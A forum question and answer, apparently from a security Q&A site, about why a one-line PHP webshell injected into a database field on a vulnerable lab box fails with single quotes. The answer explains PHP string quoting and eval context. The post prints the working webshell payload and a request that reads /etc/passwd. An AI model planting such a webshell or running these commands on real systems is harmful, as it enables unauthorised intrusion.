Attempting remote code execution, why does this php webshell code fail with single quotes?

Question

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit:

https://www.exploit-db.com/exploits/24044

I tried to use this code to make a php webshell:

?php $cmd=$_GET['cmd'];system($cmd);?

It fails (results in the white screen of death). However, if I change the single quotes to double quotes, it works, as here:

?php $cmd=$_GET["cmd"];system($cmd);?

Every source I looked at for code for a webshell had single quotes around cmd, no matter which variation it was, and none of them mentioned the possibility of it needing double quotes. Here's an example of a page that outlines how to do it:

https://vulp3cula.gitbook.io/hackers-grimoire/exploitation/web-application/rce

Does anyone know why it only works with the double quotes? Why do all of the other examples I found show single quotes with no mention of the possibility of needing double quotes?

Answer 1

Without seeing the code you're injecting into, it's hard to tell. It would be nice to see your entire payload too.

To be clear, the parameter name, cmd in this case, does not need to be enclosed in double quotes, single quotes will work as well,

For example,

$cmd = $_GET['cmd'];
echo system($cmd);

A request to https://example.com/foo.php?cmd=cat+/etc/passwd will work. This will also work in the case of double quotes.

There is a big difference in the way PHP handles strings with double quotes versus single quotes; it's called "variable expansion". Single quotes will not expand variables, but double quotes will. Check this:

Double quotes (variable expansion)

    $ip = "127.0.0.1";
    $command = "ping $ip";
    echo $command;

  Output: ping 127.0.0.1

Single quotes (NO variable expansion)

    $ip = "127.0.0.1";
    $command = 'ping $ip';
    echo $command;

 Output: ping $ip

Notice the $ip variable's value is not derived because the string is built with single quotes, which will not perform variable interpolation. If the original example's system() call is enclosed in single quotes, it will fail.

So my guess, without looking into the code base, is the payload you're trying to use would require variable expansion in the context the string is being used.

The easier explanation would be single quotes are breaking the code you're injecting into, f.e, eval('$cmd=$_GET['cmd'];system($cmd);'), or single quotes are being sanitized.

Side note: when dealing with payloads in GET requests, remember to URL encode.